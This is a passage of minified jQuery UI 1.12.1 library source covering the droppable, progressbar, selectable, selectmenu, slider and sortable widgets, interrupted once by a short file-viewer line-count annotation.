t(this).droppable("instance").options.scope===n}),o.length&&(s=t(o[0]).droppable("instance"),s.greedyChild="isover"===r)),s&&"isover"===r&&(s.isover=!1,s.isout=!0,s._out.call(s,i)),this[r]=!0,this["isout"===r?"isover":"isout"]=!1,this["isover"===r?"_over":"_out"].call(this,i),s&&"isout"===r&&(s.isout=!1,s.isover=!0,s._over.call(s,i)))}})},dragStop:function(e,i){e.element.parentsUntil("body").off("scroll.droppable"),e.options.refreshPositions||t.ui.ddmanager.prepareOffsets(e,i)}},t.uiBackCompat!==!1&&t.widget("ui.droppable",t.ui.droppable,{options:{hoverClass:!1,activeClass:!1},_addActiveClass:function(){this._super(),this.options.activeClass&&this.element.addClass(this.options.activeClass)},_removeActiveClass:function(){this._super(),this.options.activeClass&&this.element.removeClass(this.options.activeClass)},_addHoverClass:function(){this._super(),this.options.hoverClass&&this.element.addClass(this.options.hoverClass)},_removeHoverClass:function(){this._super(),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass)}}),t.ui.droppable,t.widget("ui.progressbar",{version:"1.12.1",options:{classes:{"ui-progressbar":"ui-corner-all","ui-progressbar-value":"ui-corner-left","ui-progressbar-complete":"ui-corner-right"},max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.attr({role:"progressbar","aria-valuemin":this.min}),this._addClass("ui-progressbar","ui-widget ui-widget-content"),this.valueDiv=t("<div>").appendTo(this.element),this._addClass(this.valueDiv,"ui-progressbar-value","ui-widget-header"),this._refreshValue()},_destroy:function(){this.element.removeAttr("role aria-valuemin aria-valuemax aria-valuenow"),this.valueDiv.remove()},value:function(t){return void 0===t?this.options.value:(this.options.value=this._constrainedValue(t),this._refreshValue(),void 0)},_constrainedValue:function(t){return void 0===t&&(t=this.options.value),this.indeterminate=t===!1,"number"!=typeof t&&(t=0),this.indeterminate?!1:Math.min(this.options.max,Math.max(this.min,t))},_setOptions:function(t){var e=t.value;delete t.value,this._super(t),this.options.value=this._constrainedValue(e),this._refreshValue()},_setOption:function(t,e){"max"===t&&(e=Math.max(this.min,e)),this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",t),this._toggleClass(null,"ui-state-disabled",!!t)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var e=this.options.value,i=this._percentage();this.valueDiv.toggle(this.indeterminate||e>this.min).width(i.toFixed(0)+"%"),this._toggleClass(this.valueDiv,"ui-progressbar-complete",null,e===this.options.max)._toggleClass("ui-progressbar-indeterminate",null,this.indeterminate),this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=t("<div>").appendTo(this.valueDiv),this._addClass(this.overlayDiv,"ui-progressbar-overlay"))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":e}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==e&&(this.oldValue=e,this._trigger("change")),e===this.options.max&&this._trigger("complete")}}),t.widget("ui.selectable",t.ui.mouse,{version:"1.12.1",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var e=this;this._addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){e.elementPos=t(e.element[0]).offset(),e.selectees=t(e.options.filter,e.element[0]),e._addClass(e.selectees,"ui-selectee"),e.selectees.each(function(){var i=t(this),s=i.offset(),n={left:s.left-e.elementPos.left,top:s.top-e.elementPos.top};t.data(this,"selectable-item",{element:this,$element:i,left:n.left,top:n.top,right:n.left+i.outerWidth(),bottom:n.top+i.outerHeight(),startselected:!1,selected:i.hasClass("ui-selected"),selecting:i.hasClass("ui-selecting"),unselecting:i.hasClass("ui-unselecting")})})},this.refresh(),this._mouseInit(),this.helper=t("<div>"),this._addClass(this.helper,"ui-selectable-helper")},_destroy:function(){this.selectees.removeData("selectable-item"),this._mouseDestroy()},_mouseStart:function(e){var i=this,s=this.options;this.opos=[e.pageX,e.pageY],this.elementPos=t(this.element[0]).offset(),this.options.disabled||(this.selectees=t(s.filter,this.element[0]),this._trigger("start",e),t(s.appendTo).append(this.helper),this.helper.css({left:e.pageX,top:e.pageY,width:0,height:0}),s.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var s=t.data(this,"selectable-item");s.startselected=!0,e.metaKey||e.ctrlKey||(i._removeClass(s.$element,"ui-selected"),s.selected=!1,i._addClass(s.$element,"ui-unselecting"),s.unselecting=!0,i._trigger("unselecting",e,{unselecting:s.element}))}),t(e.target).parents().addBack().each(function(){var s,n=t.data(this,"selectable-item");return n?(s=!e.metaKey&&!e.ctrlKey||!n.$element.hasClass("ui-selected"),i._removeClass(n.$element,s?"ui-unselecting":"ui-selected")._addClass(n.$element,s?"ui-selecting":"ui-unselecting"),n.unselecting=!s,n.selecting=s,n.selected=s,s?i._trigger("selecting",e,{selecting:n.element}):i._trigger("unselecting",e,{unselecting:n.element}),!1):void 0}))},_mouseDrag:function(e){if(this.dragged=!0,!this.options.disabled){var i,s=this,n=this.options,o=this.opos[0],a=this.opos[1],r=e.pageX,h=e.pageY;return o>r&&(i=r,r=o,o=i),a>h&&(i=h,h=a,a=i),this.helper.css({left:o,top:a,width:r-o,height:h-a}),this.selectees.each(function(){var i=t.data(this,"selectable-item"),l=!1,c={};i&&i.element!==s.element[0]&&(c.left=i.left+s.elementPos.left,c.right=i.right+s.elementPos.left,c.top=i.top+s.elementPos.top,c.bottom=i.bottom+s.elementPos.top,"touch"===n.tolerance?l=!(c.left>r||o>c.right||c.top>h||a>c.bottom):"fit"===n.tolerance&&(l=c.left>o&&r>c.right&&c.top>a&&h>c.bottom),l?(i.selected&&(s._removeClass(i.$element,"ui-selected"),i.selected=!1),i.unselecting&&(s._removeClass(i.$element,"ui-unselecting"),i.unselecting=!1),i.selecting||(s._addClass(i.$element,"ui-selecting"),i.selecting=!0,s._trigger("selecting",e,{selecting:i.element}))):(i.selecting&&((e.metaKey||e.ctrlKey)&&i.startselected?(s._removeClass(i.$element,"ui-selecting"),i.selecting=!1,s._addClass(i.$element,"ui-selected"),i.selected=!0):(s._removeClass(i.$element,"ui-selecting"),i.selecting=!1,i.startselected&&(s._addClass(i.$element,"ui-unselecting"),i.unselecting=!0),s._trigger("unselecting",e,{unselecting:i.element}))),i.selected&&(e.metaKey||e.ctrlKey||i.startselected||(s._removeClass(i.$element,"ui-selected"),i.selected=!1,s._addClass(i.$element,"ui-unselecting"),i.unselecting=!0,s._trigger("unselecting",e,{unselecting:i.element})))))}),!1}},_mouseStop:function(e){var i=this;return this.dragged=!1,t(".ui-unselecting",this.element[0]).each(function(){var s=t.data(this,"selectable-item");i._removeClass(s.$element,"ui-unselecting"),s.unselecting=!1,s.startselected=!1,i._trigger("unselected",e,{unselected:s.element})}),t(".ui-selecting",this.element[0]).each(function(){var s=t.data(this,"selectable-item");i._removeClass(s.$element,"ui-selecting")._addClass(s.$element,"ui-selected"),s.selecting=!1,s.selected=!0,s.startselected=!0,i._trigger("selected",e,{selected:s.element})}),this._trigger("stop",e),this.helper.remove(),!1}}),t.widget("ui.selectmenu",[t.ui.formResetMixin,{version:"1.12.1",defaultElement:"<select>",options:{appendTo:null,classes:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"},disabled:null,icons:{button:"ui-icon-triangle-1-s"},position:{my:"left top",at:"left bottom",collision:"none"},width:!1,change:null,close:null,focus:null,open:null,select:null},_create:function(){var e=this.element.uniqueId().attr("id");this.ids={element:e,button:e+"-button",menu:e+"-menu"},this._drawButton(),this._drawMenu(),this._bindFormResetHandler(),this._rendered=!1,this.menuItems=t()},_drawButton:function(){var e,i=this,s=this._parseOption(this.element.find("option:selected"),this.element[0].selectedIndex);this.labels=this.element.labels().attr("for",this.ids.button),this._on(this.labels,{click:function(t){this.button.focus(),t.preventDefault()}}),this.element.hide(),this.button=t("<span>",{tabindex:this.options.disabled?-1:0,id:this.ids.button,role:"combobox","aria-expanded":"false","aria-autocomplete":"list","aria-owns":this.ids.menu,"aria-haspopup":"true",title:this.element.attr("title")}).insertAfter(this.element),this._addClass(this.button,"ui-selectmenu-button ui-selectmenu-button-closed","ui-button ui-widget"),e=t("<span>").appendTo(this.button),this._addClass(e,"ui-selectmenu-icon","ui-icon "+this.options.icons.button),this.buttonItem=this._renderButtonItem(s).appendTo(this.button),this.options.width!==!1&&this._resizeButton(),this._on(this.button,this._buttonEvents),this.button.one("focusin",function(){i._rendered||i._refreshMenu()})},_drawMenu:function(){var e=this;this.menu=t("<ul>",{"aria-hidden":"true","aria-labelledby":this.ids.button,id:this.ids.menu}),this.menuWrap=t("<div>").append(this.menu),this._addClass(this.menuWrap,"ui-selectmenu-menu","ui-front"),this.menuWrap.appendTo(this._appendTo()),this.menuInstance=this.menu.menu({classes:{"ui-menu":"ui-corner-bottom"},role:"listbox",select:function(t,i){t.preventDefault(),e._setSelection(),e._select(i.item.data("ui-selectmenu-item"),t)},focus:function(t,i){var s=i.item.data("ui-selectmenu-item");null!=e.focusIndex&&s.index!==e.focusIndex&&(e._trigger("focus",t,{item:s}),e.isOpen||e._select(s,t)),e.focusIndex=s.index,e.button.attr("aria-activedescendant",e.menuItems.eq(s.index).attr("id"))}}).menu("instance"),this.menuInstance._off(this.menu,"mouseleave"),this.menuInstance._closeOnDocumentClick=function(){return!1},this.menuInstance._isDivider=function(){return!1}},refresh:function(){this._refreshMenu(),this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(this._getSelectedItem().data("ui-selectmenu-item")||{})),null===this.options.width&&this._resizeButton()},_refreshMenu:function(){var t,e=this.element.find("option");this.menu.empty(),this._parseOptions(e),this._renderMenu(this.menu,this.items),this.menuInstance.refresh(),this.menuItems=this.menu.find("li").not(".ui-selectmenu-optgroup").find(".ui-menu-item-wrapper"),this._rendered=!0,e.length&&(t=this._getSelectedItem(),this.menuInstance.focus(null,t),this._setAria(t.data("ui-selectmenu-item")),this._setOption("disabled",this.element.prop("disabled")))},open:function(t){this.options.disabled||(this._rendered?(this._removeClass(this.menu.find(".ui-state-active"),null,"ui-state-active"),this.menuInstance.focus(null,this._getSelectedItem())):this._refreshMenu(),this.menuItems.length&&(this.isOpen=!0,this._toggleAttr(),this._resizeMenu(),this._position(),this._on(this.document,this._documentClick),this._trigger("open",t)))},_position:function(){this.menuWrap.position(t.extend({of:this.button},this.options.position))},close:function(t){this.isOpen&&(this.isOpen=!1,this._toggleAttr(),this.range=null,this._off(this.document),this._trigger("close",t))},widget:function(){return this.button},menuWidget:function(){return this.menu},_renderButtonItem:function(e){var i=t("<span>");return this._setText(i,e.label),this._addClass(i,"ui-selectmenu-text"),i},_renderMenu:function(e,i){var s=this,n="";t.each(i,function(i,o){var a;o.optgroup!==n&&(a=t("<li>",{text:o.optgroup}),s._addClass(a,"ui-selectmenu-optgroup","ui-menu-divider"+(o.element.parent("optgroup").prop("disabled")?" ui-state-disabled":"")),a.appendTo(e),n=o.optgroup),s._renderItemData(e,o)})},_renderItemData:function(t,e){return this._renderItem(t,e).data("ui-selectmenu-item",e)},_renderItem:function(e,i){var s=t("<li>"),n=t("<div>",{title:i.element.attr("title")});return i.disabled&&this._addClass(s,null,"ui-state-disabled"),this._setText(n,i.label),s.append(n).appendTo(e)},_setText:function(t,e){e?t.text(e):t.html(" ")},_move:function(t,e){var i,s,n=".ui-menu-item";this.isOpen?i=this.menuItems.eq(this.focusIndex).parent("li"):(i=this.menuItems.eq(this.element[0].selectedIndex).parent("li"),n+=":not(.ui-state-disabled)"),s="first"===t||"last"===t?i["first"===t?"prevAll":"nextAll"](n).eq(-1):i[t+"All"](n).eq(0),s.length&&this.menuInstance.focus(e,s)},_getSelectedItem:function(){return this.menuItems.eq(this.element[0].selectedIndex).parent("li")},_toggle:function(t){this[this.isOpen?"close":"open"](t)},_setSelection:function(){var t;this.range&&(window.getSelection?(t=window.getSelection(),t.removeAllRanges(),t.addRange(this.range)):this.range.select(),this.button.focus())},_documentClick:{mousedown:function(e){this.isOpen&&(t(e.target).closest(".ui-selectmenu-menu, #"+t.ui.escapeSelector(this.ids.button)).length||this.close(e))}},_buttonEvents:{mousedown:function(){var t;window.getSelection?(t=window.getSelection(),t.rangeCount&&(this.range=t.getRangeAt(0))):this.range=document.selection.createRange()},click:function(t){this._setSelection(),this._toggle(t)},keydown:function(e){var i=!0;switch(e.keyCode){case t.ui.keyCode.TAB:case t.ui.keyCode.ESCAPE:this.close(e),i=!1;break;case t.ui.keyCode.ENTER:this.isOpen&&this._selectFocusedItem(e);break;case t.ui.keyCode.UP:e.altKey?this._toggle(e):this._move("prev",e);break;case t.ui.keyCode.DOWN:e.altKey?this._toggle(e):this._move("next",e);break;case t.ui.keyCode.SPACE:this.isOpen?this._selectFocusedItem(e):this._toggle(e);break;case t.ui.keyCode.LEFT:this._move("prev",e);break;case t.ui.keyCode.RIGHT:this._move("next",e);break;case t.ui.keyCode.HOME:case t.ui.keyCode.PAGE_UP:this._move("first",e);break;case t.ui.keyCode.END:case t.ui.keyCode.PAGE_DOWN:this._move("last",e);break;default:this.menu.trigger(e),i=!1}i&&e.preventDefault()}},_selectFocusedItem:function(t){var e=this.menuItems.eq(this.focusIndex).parent("li");e.hasClass("ui-state-disabled")||this._select(e.data("ui-selectmenu-item"),t)},_select:function(t,e){var i=this.element[0].selectedIndex;this.element[0].selectedIndex=t.index,this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(t)),this._setAria(t),this._trigger("select",e,{item:t}),t.index!==i&&this._trigger("change",e,{item:t}),this.close(e)},_setAria:function(t){var e=this.menuItems.eq(t.index).attr("id");this.button.attr({"aria-labelledby":e,"aria-activedescendant":e}),this.menu.attr("aria-activedescendant",e)},_setOption:function(t,e){if("icons"===t){var i=this.button.find("span.ui-icon");this._removeClass(i,null,this.options.icons.button)._addClass(i,null,e.button)}this._super(t,e),"appendTo"===t&&this.menuWrap.appendTo(this._appendTo()),"width"===t&&this._resizeButton()},_setOptionDisabled:function(t){this._super(t),this.menuInstance.option("disabled",t),this.button.attr("aria-disabled",t),this._toggleClass(this.button,null,"ui-state-disabled",t),this.element.prop("disabled",t),t?(this.button.attr("tabindex",-1),this.close()):this.button.attr("tabindex",0)},_appendTo:function(){var e=this.options.appendTo;return e&&(e=e.jquery||e.nodeType?t(e):this.document.find(e).eq(0)),e&&e[0]||(e=this.element.closest(".ui-front, dialog")),e.length||(e=this.document[0].body),e},_toggleAttr:function(){this.button.attr("aria-expanded",this.isOpen),this._removeClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"closed":"open"))._addClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"open":"closed"))._toggleClass(this.menuWrap,"ui-selectmenu-open",null,this.isOpen),this.menu.attr("aria-hidden",!this.isOpen)},_resizeButton:function(){var t=this.options.width;return t===!1?(this.button.css("width",""),void 0):(null===t&&(t=this.element.show().outerWidth(),this.element.hide()),this.button.outerWidth(t),void 0)},_resizeMenu:function(){this.menu.outerWidth(Math.max(this.button.outerWidth(),this.menu.width("").outerWidth()+1))},_getCreateOptions:function(){var t=this._super();return t.disabled=this.element.prop("disabled"),t},_parseOptions:function(e){var i=this,s=[];e.each(function(e,n){s.push(i._parseOption(t(n),e))}),this.items=s},_parseOption:function(t,e){var i=t.parent("optgroup");return{element:t,index:e,value:t.val(),label:t.text(),optgroup:i.attr("label")||"",disabled:i.prop("disabled")||t.prop("disabled")}},_destroy:function(){this._unbindFormResetHandler(),this.menuWrap.remove(),this.button.remove(),this.element.show(),this.element.removeUniqueId(),this.labels.attr("for",this.ids.element)}}]),t.widget("ui.slider",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider ui-slider-"+this.orientation,"ui-widget ui-widget-content"),this._refresh(),this._animateOff=!1
20
vendor: 32,006 bytes, line 20
20},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var e,i,s=this.options,n=this.element.find(".ui-slider-handle"),o="<span tabindex='0'></span>",a=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),e=n.length;i>e;e++)a.push(o);this.handles=n.add(t(a.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(e){t(this).data("ui-slider-handle-index",e).attr("tabIndex",0)})},_createRange:function(){var e=this.options;e.range?(e.range===!0&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:t.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=t("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),("min"===e.range||"max"===e.range)&&this._addClass(this.range,"ui-slider-range-"+e.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(e){var i,s,n,o,a,r,h,l,c=this,u=this.options;return u.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:e.pageX,y:e.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var i=Math.abs(s-c.values(e));(n>i||n===i&&(e===c._lastChangedValue||c.values(e)===u.min))&&(n=i,o=t(this),a=e)}),r=this._start(e,a),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=a,this._addClass(o,null,"ui-state-active"),o.trigger("focus"),h=o.offset(),l=!t(e.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=l?{left:0,top:0}:{left:e.pageX-h.left-o.width()/2,top:e.pageY-h.top-o.height()/2-(parseInt(o.css("borderTopWidth"),10)||0)-(parseInt(o.css("borderBottomWidth"),10)||0)+(parseInt(o.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(e,a,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var e={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(e);return this._slide(t,this._handleIndex,i),!1},_mouseStop:function(t){return this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var e,i,s,n,o;return"horizontal"===this.orientation?(e=this.elementSize.width,i=t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,i=t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/e,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),o=this._valueMin()+s*n,this._trimAlignValue(o)},_uiHash:function(t,e,i){var s={handle:this.handles[t],handleIndex:t,value:void 0!==e?e:this.value()};return this._hasMultipleValues()&&(s.value=void 0!==e?e:this.values(t),s.values=i||this.values()),s},_hasMultipleValues:function(){return this.options.values&&this.options.values.length},_start:function(t,e){return this._trigger("start",t,this._uiHash(e))},_slide:function(t,e,i){var s,n,o=this.value(),a=this.values();this._hasMultipleValues()&&(n=this.values(e?0:1),o=this.values(e),2===this.options.values.length&&this.options.range===!0&&(i=0===e?Math.min(n,i):Math.max(n,i)),a[e]=i),i!==o&&(s=this._trigger("slide",t,this._uiHash(e,i,a)),s!==!1&&(this._hasMultipleValues()?this.values(e,i):this.value(i)))},_stop:function(t,e){this._trigger("stop",t,this._uiHash(e))},_change:function(t,e){this._keySliding||this._mouseSliding||(this._lastChangedValue=e,this._trigger("change",t,this._uiHash(e)))},value:function(t){return arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),this._change(null,0),void 0):this._value()},values:function(e,i){var s,n,o;if(arguments.length>1)return this.options.values[e]=this._trimAlignValue(i),this._refreshValue(),this._change(null,e),void 0;if(!arguments.length)return this._values();if(!t.isArray(arguments[0]))return this._hasMultipleValues()?this._values(e):this.value();for(s=this.options.values,n=arguments[0],o=0;s.length>o;o+=1)s[o]=this._trimAlignValue(n[o]),this._change(null,o);this._refreshValue()},_setOption:function(e,i){var s,n=0;switch("range"===e&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),t.isArray(this.options.values)&&(n=this.options.values.length),this._super(e,i),e){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(i),this.handles.css("horizontal"===i?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=n-1;s>=0;s--)this._change(null,s);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(t){this._super(t),this._toggleClass(null,"ui-state-disabled",!!t)},_value:function(){var t=this.options.value;return t=this._trimAlignValue(t)},_values:function(t){var e,i,s;if(arguments.length)return e=this.options.values[t],e=this._trimAlignValue(e);if(this._hasMultipleValues()){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return i}return[]},_trimAlignValue:function(t){if(this._valueMin()>=t)return this._valueMin();if(t>=this._valueMax())return this._valueMax();var e=this.options.step>0?this.options.step:1,i=(t-this._valueMin())%e,s=t-i;return 2*Math.abs(i)>=e&&(s+=i>0?e:-e),parseFloat(s.toFixed(5))},_calculateNewMax:function(){var t=this.options.max,e=this._valueMin(),i=this.options.step,s=Math.round((t-e)/i)*i;t=s+e,t>this.options.max&&(t-=i),this.max=parseFloat(t.toFixed(this._precision()))},_precision:function(){var t=this._precisionOf(this.options.step);return null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshRange:function(t){"vertical"===t&&this.range.css({width:"",left:""}),"horizontal"===t&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var e,i,s,n,o,a=this.options.range,r=this.options,h=this,l=this._animateOff?!1:r.animate,c={};this._hasMultipleValues()?this.handles.each(function(s){i=100*((h.values(s)-h._valueMin())/(h._valueMax()-h._valueMin())),c["horizontal"===h.orientation?"left":"bottom"]=i+"%",t(this).stop(1,1)[l?"animate":"css"](c,r.animate),h.options.range===!0&&("horizontal"===h.orientation?(0===s&&h.range.stop(1,1)[l?"animate":"css"]({left:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:r.animate})):(0===s&&h.range.stop(1,1)[l?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:r.animate}))),e=i}):(s=this.value(),n=this._valueMin(),o=this._valueMax(),i=o!==n?100*((s-n)/(o-n)):0,c["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[l?"animate":"css"](c,r.animate),"min"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:i+"%"},r.animate),"max"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:100-i+"%"},r.animate),"min"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:i+"%"},r.animate),"max"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:100-i+"%"},r.animate))},_handleEvents:{keydown:function(e){var i,s,n,o,a=t(e.target).data("ui-slider-handle-index");switch(e.keyCode){case t.ui.keyCode.HOME:case t.ui.keyCode.END:case t.ui.keyCode.PAGE_UP:case t.ui.keyCode.PAGE_DOWN:case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:case t.ui.keyCode.DOWN:case t.ui.keyCode.LEFT:if(e.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(t(e.target),null,"ui-state-active"),i=this._start(e,a),i===!1))return}switch(o=this.options.step,s=n=this._hasMultipleValues()?this.values(a):this.value(),e.keyCode){case t.ui.keyCode.HOME:n=this._valueMin();break;case t.ui.keyCode.END:n=this._valueMax();break;case t.ui.keyCode.PAGE_UP:n=this._trimAlignValue(s+(this._valueMax()-this._valueMin())/this.numPages);break;case t.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(s-(this._valueMax()-this._valueMin())/this.numPages);break;case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:if(s===this._valueMax())return;n=this._trimAlignValue(s+o);break;case t.ui.keyCode.DOWN:case t.ui.keyCode.LEFT:if(s===this._valueMin())return;n=this._trimAlignValue(s-o)}this._slide(e,a,n)},keyup:function(e){var i=t(e.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,i),this._change(e,i),this._removeClass(t(e.target),null,"ui-state-active"))}}}),t.widget("ui.sortable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(t,e,i){return t>=e&&e+i>t},_isFloating:function(t){return/left|right/.test(t.css("float"))||/inline|table-cell/.test(t.css("display"))},_create:function(){this.containerCache={},this._addClass("ui-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(t,e){this._super(t,e),"handle"===t&&this._setHandleClassName()},_setHandleClassName:function(){var e=this;this._removeClass(this.element.find(".ui-sortable-handle"),"ui-sortable-handle"),t.each(this.items,function(){e._addClass(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item,"ui-sortable-handle")})},_destroy:function(){this._mouseDestroy();for(var t=this.items.length-1;t>=0;t--)this.items[t].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(e,i){var s=null,n=!1,o=this;return this.reverting?!1:this.options.disabled||"static"===this.options.type?!1:(this._refreshItems(e),t(e.target).parents().each(function(){return t.data(this,o.widgetName+"-item")===o?(s=t(this),!1):void 0}),t.data(e.target,o.widgetName+"-item")===o&&(s=t(e.target)),s?!this.options.handle||i||(t(this.options.handle,s).find("*").addBack().each(function(){this===e.target&&(n=!0)}),n)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(e,i,s){var n,o,a=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(e),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},t.extend(this.offset,{click:{left:e.pageX-this.offset.left,top:e.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),this.originalPosition=this._generatePosition(e),this.originalPageX=e.pageX,this.originalPageY=e.pageY,a.cursorAt&&this._adjustOffsetFromHelper(a.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),a.containment&&this._setContainment(),a.cursor&&"auto"!==a.cursor&&(o=this.document.find("body"),this.storedCursor=o.css("cursor"),o.css("cursor",a.cursor),this.storedStylesheet=t("<style>*{ cursor: "+a.cursor+" !important; }</style>").appendTo(o)),a.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",a.opacity)),a.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",a.zIndex)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",e,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(n=this.containers.length-1;n>=0;n--)this.containers[n]._trigger("activate",e,this._uiHash(this));return t.ui.ddmanager&&(t.ui.ddmanager.current=this),t.ui.ddmanager&&!a.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this.dragging=!0,this._addClass(this.helper,"ui-sortable-helper"),this._mouseDrag(e),!0},_mouseDrag:function(e){var 